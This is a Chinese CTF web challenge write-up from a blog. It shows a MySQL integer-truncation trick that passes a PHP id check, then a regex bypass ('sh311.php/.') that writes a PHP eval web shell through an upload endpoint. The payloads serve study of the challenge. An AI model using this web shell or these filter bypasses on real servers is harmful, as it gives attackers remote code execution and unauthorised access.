03月19, 2019

CTF-web 笔记 15

MySQL INT 长度超出

逻辑如下:

<?php
    if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9')
    {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
    }
    else
    {
        $result = False;
        die();
    }
    if(!$result)
        die("<br >something wae wrong ! <br>");
    if($result)
    {
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
    }
?>

前半段 PHP 的部分很好绕过,但是如何让 SQL 查询的结果不为空呢?

以 MySQL 为例:

mysql> create table test(id int);
Query OK, 0 rows affected (2.64 sec)

mysql> insert into test (id) values(1);
Query OK, 1 row affected (0.24 sec)

mysql> select * from test where id ='1';
+------+
| id   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

mysql> select * from test where id ='1.09';
Empty set (0.00 sec)

mysql> select * from test where id ='1.000000000000000000000000009';
+------+
| id   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

int型进行比较的时候添加若干个0,若超出 INT 型的最大长度,会保留整数的部分。

故以 GET 方式传入:

id=1.000000000000000000000000009

简单正则绕过

同一题,上传文件时,需要对文件名进行正则绕过,代码如下:

<?php
    if ($_SESSION['admin'])
    {
        $con = $_POST['con'];
        $file = $_POST['file'];
        $filename = "backup/".$file;
        if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))
            die("Bad file extension");
        else
        {
            chdir('uploaded');
            $f = fopen($filename, 'w');
            fwrite($f, $con);
            fclose($f);
        }
    }
?>

由于上面正则表达式里的$直接标记了字符串的结尾,所以只要在文件名后面加个/.即可。

故 POST:

con=<?php @eval($_POST['sh311']); ?>&file=sh311.php/.

然后连接服务器即可。

本文链接:https://blog.cindemor.com/post/ctf-web-15.html

-- EOF --